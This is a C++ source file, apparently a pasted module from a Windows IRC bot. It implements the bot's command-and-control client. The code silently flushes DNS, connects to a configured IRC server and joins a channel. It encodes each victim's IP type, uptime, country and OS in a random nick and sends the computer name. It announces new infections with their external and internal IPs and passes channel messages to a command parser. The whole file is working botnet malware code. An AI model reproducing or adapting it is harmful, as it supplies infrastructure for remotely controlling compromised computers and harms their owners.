rendered paste body#include "includes.h"
IRC::IRC ()
{
this->connected = false;
this->err = 0;
this->last_recv = 0;
}
void IRC::destroy ()
{
this->quit ("killing irc...");
}
void IRC::irc_connect (char *s, const unsigned short p, const char *c,
const int nl, const int rd)
{
strncpy (this->server, s, sizeof (this->server) - 1);
this->port = p;
strncpy (this->channel, c, sizeof (this->channel) - 1);
this->nick_len = nl;
this->reconnect_delay = rd;
GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, this->country, 3);
this->start ();
}
DWORD IRC::main (LPVOID param)
{
TRY
fd_set rfds;
struct timeval tv;
tv.tv_sec = 1;
while (true)
{
if (this->connected == false)
{
if (this->init ())
{
this->connected = true;
continue;
} else {
this->connected = false;
Sleep (this->reconnect_delay);
continue;
}
}
this->err = 0;
char buffer[2048] = {0};
FD_ZERO (&rfds);
FD_SET (this->sock, &rfds);
this->err = select (FD_SETSIZE, &rfds, 0, 0, &tv);
if (this->err)
{
if (FD_ISSET (this->sock, &rfds))
{
this->err = 0;
this->err = recv (this->sock, buffer, sizeof (buffer), 0);
this->last_recv = GetTickCount ();
if (this->err == SOCKET_ERROR)
{
this->quit ("error");
continue;
}
this->split (buffer);
}
} else if (this->err < 0)
this->quit ("error");
if (((GetTickCount ()-this->last_recv) > 500000) && this->last_recv)
this->quit ("ping timeout?");
}
CATCH
return 0;
}
void IRC::msg (char *cchannel, char *name, char *msg, ...)
{
TRY
if (!this->connected)
return;
va_list va;
char buf[1000] = {0}, buffer[1024] = {0};
va_start (va, msg);
_vsnprintf (buf, sizeof (buf) - 1, msg, va);
va_end (va);
_snprintf (buffer, sizeof (buffer) - 1, "PRIVMSG %s :%s%s%s » %s", cchannel, IRC_BOLD, name, IRC_OFF, buf);
this->raw ("%s", buffer);
CATCH
}
bool IRC::init ()
{
this->connected = true;
WinExec ("ipconfig /flushdns", SW_HIDE);
this->err = 0;
bool bOptVal = true;
int bOptLen = sizeof(bool);
SOCKADDR_IN ssin;
ssin.sin_family = AF_INET;
ssin.sin_addr.s_addr = resolve (this->server);
ssin.sin_port = htons (this->port);
this->sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (this->sock == INVALID_SOCKET)
goto fail;
this->err = connect (this->sock, (LPSOCKADDR)&ssin, sizeof(ssin));
if (this->err == SOCKET_ERROR)
goto fail;
this->init_user ();
this->init_nick ();
this->err = setsockopt (this->sock, SOL_SOCKET, SO_KEEPALIVE, (char*)&bOptVal, bOptLen);
if (this->err == SOCKET_ERROR)
goto fail;
this->connect_time = GetTickCount ();
return true;
fail:
this->close ();
return false;
}
void IRC::split (char *str)
{
TRY
char *p;
while (p = strstr(str, "\r\n"))
{
*p = '\0';
this->parse(str);
str = p + 2;
}
CATCH
}
void IRC::parse (char *str)
{
TRY
char *arg[100] = {0}, *carg[100] = {0}, *p;
int c = 0;
while (p = strstr(str, " "))
{
*p = '\0';
arg[c] = str;
str = p + 1;
c++;
}
arg[c] = str;
int x = 3;
if (!arg[0] || !arg[1])
return;
if (!lstrcmp("PING", arg[0]))
this->raw ("PONG %s", arg[1]);
else if (!lstrcmp("001", arg[1]))
{
this->raw ("JOIN %s", this->channel);
DWORD attr = GetFileAttributes (FILE_NEW);
if (attr != 0xffffffff)
{
DeleteFile (FILE_NEW);
this->msg (CHANNEL_NEW, "NEW", "%s [%s]", external_ip, internal_ip);
}
}
if (!lstrcmp("332", arg[1]))
x = 4;
else if (!lstrcmp("PRIVMSG", arg[1]))
x = 3;
else
return;
if (!(arg[x]++))
return;
if (wild (arg[x], this->nick))
return;
x += 1;
int s = 0;
for (int a = (x + 1); a <= c; a++)
{
carg[s] = arg[a];
s++;
}
command_parse (arg[x], carg, s);
CATCH
}
void IRC::raw (char *msg, ...)
{
TRY
if (!this->connected)
return;
va_list va;
char buf[1024] = {0};
va_start(va, msg);
_vsnprintf(buf, sizeof (buf) - 1, msg, va);
va_end(va);
strncat (buf, "\r\n", sizeof (buf) - 1);
send(sock, buf, lstrlen(buf), 0);
CATCH
}
void IRC::close ()
{
if (!this->connected)
return;
closesocket (this->sock);
this->connected = false;
}
void IRC::quit (char *msg)
{
if (!this->connected)
return;
this->raw ("QUIT :%s", msg);
this->close ();
}
void IRC::init_nick ()
{
const char nick_chars[] = "abcdefghijklmnopqrstuvwxyz";
srand (GetTickCount ());
char rndnick[30] = {0}, os[10] = {0};
strncpy(os, get_os (), sizeof (os) - 1);
for(unsigned int l = 0; l < this->nick_len; ++l)
rndnick[l] = nick_chars[(rand()%(sizeof(nick_chars)-1))];
ZeroMemory (this->nick, sizeof(this->nick));
_snprintf(this->nick, sizeof (this->nick) - 1, "%c|%0.3u|%3s|%s|%s",
((PrivateIP(internal_ip))?('P'):('O')),
uptime(),
this->country,
os,
rndnick);
this->raw ("NICK %s", this->nick);
}
void IRC::init_user ()
{
char cname[1024] = {0};
DWORD cSize = MAX_COMPUTERNAME_LENGTH + 1;
GetComputerName (cname, &cSize);
this->raw ("USER %s n n :%s", cname, VERSION);
}
char * IRC::get_nick ()
{
static char gNick[50];
strncpy (gNick, this->nick, sizeof (gNick) - 1);
return gNick;
}
bool IRC::is_connected ()
{
if (this->connected)
return true;
return false;
}